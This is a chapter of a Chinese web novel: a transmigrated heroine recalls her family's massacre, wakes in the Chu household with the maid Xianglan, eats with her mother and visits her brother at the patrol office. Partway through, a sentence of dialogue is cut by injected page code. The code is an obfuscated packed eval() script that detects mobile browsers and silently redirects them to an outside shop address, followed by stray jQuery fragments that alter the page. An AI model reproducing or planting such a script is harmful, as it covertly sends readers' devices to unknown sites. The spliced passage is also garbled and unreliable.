梦中,风卷起瓦缝间残叶,从温瑾淮眼前摇曳飘落,她神思飘离,在风声里,回到了那年寒夜。


    那夜格外的冷,寒风夹雨呼啸,凝冰后扑打在脸上,疼得温瑾淮越发清醒。年幼的她躲在母亲怀里,清晰地感受到母亲颤抖地身躯,耳畔响着悲痛的哭泣。


    “大哥快带她们跑,”薛阳用身体抵住门,将敌人挡在门外,他嘶吼着,可声音早已沙哑无力,“跑啊,不用管我。”


    薛绍后背伤痕醒目,血液顺着脊骨溅在脚下残尸断骸上。他握紧长刀,转身用力横扫放倒身后紧追的叛军,来不及擦去喷溅在脸上的血,纵身翻过断墙:“小妹快起来,带着阿淮跟哥走。”


    时间在这一刻已然模糊,似是跑了许久,却又未跑多远。


    温瑾淮被脚下尸体绊倒,摔在腥臭的血坑泥洼中,未等她反应过来,就被薛绍一把拽了起来。


    “丫头别怕,有舅舅在。”薛绍将她抱在怀中,看着河对岸激战的军队,心中生出疑问。此战因皇室夺位而起,薛家势弱理应不会卷入其中,可门外扛着燕字旗的士兵是有意而来,他怎么也想不明白一向与薛家交好的燕家为何这般做?


    血液汇流入江,江面泛起醒目血色,此时霞光正艳,艳得染红了江面,染红了眼。


    薛阳力竭抵不住叛军,门梢折断被推开了一道门缝,长戟猛地穿过门缝将他胸膛贯穿,血止不住的从胸前涌出,他仍拼命地喊:“快跑—快—”


    那扇门终究是被推开了,随即迎来的是当头劈下的长戟,正中薛阳的头,他凭着仅存的意识去拖拽住一人:“是你…”


    戟锋寒光乍闪,上挑割断了薛阳喉咙,燕怀宁啐了一口,踩着薛阳身体走过,肩上扛着燕字旗。


    薛阳忍受着骨骼被寸寸踏断的剧痛,那双眼依旧犀利,凝视着身上跨过地每个敌人。


    薛绍回首一望,泪花瞬间模糊双眼,此刻泪与血在脸上打成一片,他来不及抹去,带着母女二人逃入幽暗竹林。


    梦醒,温瑾淮缓缓睁开眼,眼底还有未干的泪痕,目光呆滞望着房顶,一时无法从梦中摆脱出来。


    忽然,听见一个声音轻唤:“小姐,你醒啦。”


    温瑾淮惊愕地转过头去,面前露出一张清纯笑脸,面容清秀,看上去也就十五六岁的模样,茫然道:“你是何人?”


    女孩笑着说:“香兰,我叫香兰,二夫人今早派我来照顾小姐。”


    “今早?”温瑾淮忙问,“我这是睡了多久?”


    “小姐睡了一天一夜,二夫人陪了一天一夜。”香兰伸出手将她扶起,“二夫人可担心小姐了,哭了好多次。”


    “二夫人?”温瑾淮想到了些,说了句,“原来是在楚府,是我哥把我送来的?”


    香兰点头说:“是。”


    温瑾淮打量着周围,住处虽不豪华,却也比租借的住处好些,多瞧几眼便觉得眼熟,像她儿时在薛家住的屋子,简洁透着温馨,就连屋内布置也是相似,不免引起了心中悲痛。


    香兰年纪虽不大,倒很是机灵,一眼瞧出了温瑾淮伤心,她从打了补丁的口袋内掏出一块糖,慢慢撕下包裹的糖纸:“小姐吃糖,我娘说吃糖就会把不开心忘掉。”


    香兰见她不伸手,将糖硬塞入她手中:“快吃,不吃的话会一直伤心的,二夫人瞧见的话也会伤心的。”


    “谢谢。”温瑾淮将糖送入口中,甜蜜一瞬充斥了口腔,心中酸楚虽未消散,但也好受了些。


    脑中响起系统声音:“宿主已成功收集一个灵魂碎片,获得一道卦言奖励。”


    温瑾淮起身坐到梳妆台前,抬眸看向桌上铜镜,镜中投映出她美艳容貌,她拿起绳子绑了个马尾辫,干净利落。


    香兰见状走到她身后,拿起梳妆台上的白玉发梳,拆开了梳好的辫子,手上轻盈梳着一头垂腰秀发:“小姐生的好看,打扮得也要好看。小姐若嫌麻烦,以后香兰给小姐梳妆。”


    “那多谢你了。”温瑾淮与香兰短暂相处,能感觉到香兰是个心善纯真之人,那单纯到无一丝欲念的双眸便已说明一切。


    香兰手上动作轻盈麻利,用玉梳将头发梳至头顶,编成两个圆形的发髻,然后弯曲发髻超前上方,拿起梳妆盒内的青绿珐琅嵌珠头饰戴在发髻两侧,又为她点了朱唇,抹了黛眉。


    温瑾淮看着镜中美貌,对香兰的梳妆很是满意:“这是朝天髻?”


    香兰笑道:“小姐说得对,就是朝天髻,像两个兔耳朵,小姐真是好看,像天上仙女。”


    温瑾淮瞧她一直面带笑颜,不自觉扬起了朱红唇角:“香兰这是见过天上仙女啊。”


    “没见过,”香兰痴痴地望着她,镜中美貌何尝不是心之所想,“小姐就是天上仙女。”


    “小姐要是想梳妆,以后就叫香兰。”香兰将玉梳放回原处,眼神依旧落在镜中,瞧得温瑾淮害羞垂下眸,少女的羞涩让本就美艳的容貌多了让人冲动的欲望。


    香兰双手抵在温瑾淮肩头,垂头嘟着粉嫩唇瓣:“幸好我是女孩子,不然小姐就惨了。”


    温瑾淮被她逗的笑出声,此情此景甚是温馨,站在门口有一会儿的薛姝忍不住开了口:“看来你们相处的不错。”


    温瑾淮转过身看去,下意识脱口而出:“娘。”


    “娘在。”薛姝快步走到温瑾淮面前,伸手轻抚白嫩的脸颊,念念道,“阿淮小的时候胖嘟嘟的,瘦了啊,瘦了啊。娘蒸了你爱吃的香荷糯藕粉肉,这就去吃。”


    说到吃的,香兰抿了抿唇,咽了咽口水,肚子也是不争气的叫了起来。


    薛姝抚了抚香兰的头:“也有香兰的份。”


    香兰笑着说:“那太好了。”


    “哥哥他…”温瑾淮支吾了半天,说:“他的病好了?”


    “我瞧他好多了。”薛姝轻笑了一声,伸手攥着她纤细的手,“你是担心你兄长生气?”


    温瑾淮点了点头:“我说了些重话。”


    “他不气,让我给你带句话。他说是他未考虑周全,让你不要生气。”说完,薛姝叹了口气,垂下头来,眼底闪过一丝愧疚,“储儿还在怪我,怪我改嫁他人妇,丢弃了你们兄妹,可我…”


    “我和哥哥都知道娘的苦衷,不怪娘。”温瑾淮伸手擦去薛姝眼底的泪,知道书中情节的她怎会不知薛姝的无奈被逼,既定的命运不是薛姝一人能轻易改变的,她又何尝没有抵抗过,可终究逆来顺受已是常态。


    “听你这话,我便心安了。”薛姝用帕子擦了擦泪,温瑾淮的话说到了她心坎里,子女心中不怪使她心安了不少,她牵着二人的手,“走,吃饭。”


    膳堂内,薛姝轻启蒸屉,冒出热腾腾的雾气,香气弥漫了整个屋子。


    撕开烫手的荷叶,露出粉嫩嫩的肉粉,其中拌着新鲜的藕碎,用筷子夹入口中很是鲜美,既有肉的香浓,又有鲜藕的清脆,在拌上新蒸的糯米饭,又添了米的甜糯。


    膳堂内充斥着香味和笑声,三人品着美食,笑谈着过往趣事。骄阳出云洒下暖光,透过窗纸落在三人身上,此时正是温馨安逸。


    温瑾淮开口说:“我想带两份去军巡院。”


    “早就做好了,笼屉内蒸着呢。”薛姝将自己碗中一大块粉肉夹到温瑾淮碗里,“多吃点,瘦的让人心疼。”


    温瑾淮大口吃着,心中对原主暗赞了一声:“看男人的眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096871|195654||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    光虽说不咋滴,吃的倒是有些品位。”


    军巡院偏僻小屋内,温毅储坐在案桌前,望着面前记录口供的册子发呆,恨不得提起笔墨篡改一番,可按了手印与官印,加之如今身份也不是他轻易能做的,叹了一声又一声。


    岑渝忽地跑进来,喘着粗气说:“小的在路上瞧见温小姐正往这边来,手里还拿着食盒,还…”


    “来是好事,”温毅储抬眸瞧着他,“你急什么?”


    岑渝道:“温小姐手里还攥着个砍刀。”


    “砍刀?”温毅储摆了摆手让岑渝退下了,他凝眸思索了半晌儿,也没想出这从小较弱的妹妹何时变得这般模样,完全像是变了个人。


    他忙地藏好案桌上的册子,随手从身后书架上抽出一本书,板正的摆在了桌上,静候她的到来。


    谁知率先来的人是司锦瑜,温毅储原本带笑的脸瞬间阴沉下来,冷眸斜睨一眼:“你来作甚?投案自首?”


    司锦瑜瞧他没有好脸,转身背对着她,语气不耐烦:“家父于今日酉时设宴邀你,去不去?”


    温毅储没有犹豫便说出口:“鸿门宴,不去。”


    “这可由不得你。”司锦瑜摸了摸腰间匕首,出鞘闪烁一丝寒芒,“不去也得去。”


    “哥,你看我给你带了什么。”


    声音传到屋内,司锦瑜忙地收回匕首,一脸镇定装作无事发生,好似方才持刀威胁之人不是他一般。


    温毅储微微一怔,瞧他变脸倒是真快,起身走到门口相迎:“天冷怎么不多穿些?还有你拿个砍刀作甚?”


    “最近在习刀,就随身带着了。”温瑾淮低头瞅了一眼手中刀,随即将手中食盒给到温毅储手中,“娘做的香荷糯藕粉肉,给你拿了一个,给舅舅拿了一个。你快吃,还是热乎的,舅舅那个我送过去。”


    她余光瞥见了司锦瑜,翻了白眼,未给他好脸色。


    温毅储道:“舅舅不在军巡院大牢,昨夜被转押到了汴封城府的地牢。”


    温瑾淮略显失落,声音沉了些:“那我便去汴封城府。”


    “你以为汴封城是你家住处?想见谁就去见谁?真是异想天开。”司瑾瑜挺胸阔步,目光凌人给人一副唯我独尊的气势,从温瑾淮身旁经过时故意翻了个白眼,“还你。”


    “怎么哪儿都有你?”温瑾淮不耐烦,转眸看向一旁温毅储,“不把他关起来,放出来了作甚?竟祸害人。”


    温毅储无奈道:“案子与他无关,司家又上门来要人,便也没理由继续关他。”


    “没理由就捏造理由呀。”温瑾淮一路走来累得腿酸,大步走进屋内,从墙边拽了把椅子坐在了案桌旁,瞧见桌上书后眸色一震,“仕女…”


    “啊?”温毅储慌忙跑了过来,拿起书瞧见了书名,羞得猛然挥手一丢,丢进了燃着炭火的火盆,肆意的火焰吞噬了书本,飘出零星的炭灰。


    温瑾淮瞧见他尴尬不知所措,努力憋着笑,将一包香荷糯藕粉肉从食盒内取出放在了案桌上,随后提着食盒快步跑出屋,笑道:“你也到了年纪了哈,不要害羞嘛,我就不打扰你了。”


    院内操练的捕快瞧见了抿嘴偷笑,纷纷朝他投来不可言说的目光。


    温毅储脸羞得通红,连着耳根都红了一片,声音吞吐:“不…不是我的书。”


    他本想拿那本书去问书主人是谁,以证自身清白,可如今已成了火盆中的炭灰,这身在军巡院的提刑官倒是无法自辩清白了。


    至于书主人是谁?此人也定不会现在主动承认,独留温毅储一边品尝香气扑鼻的香荷糯藕粉肉,一边暗暗愁闷不乐。


    嘴里吃着香,心里着实苦啊。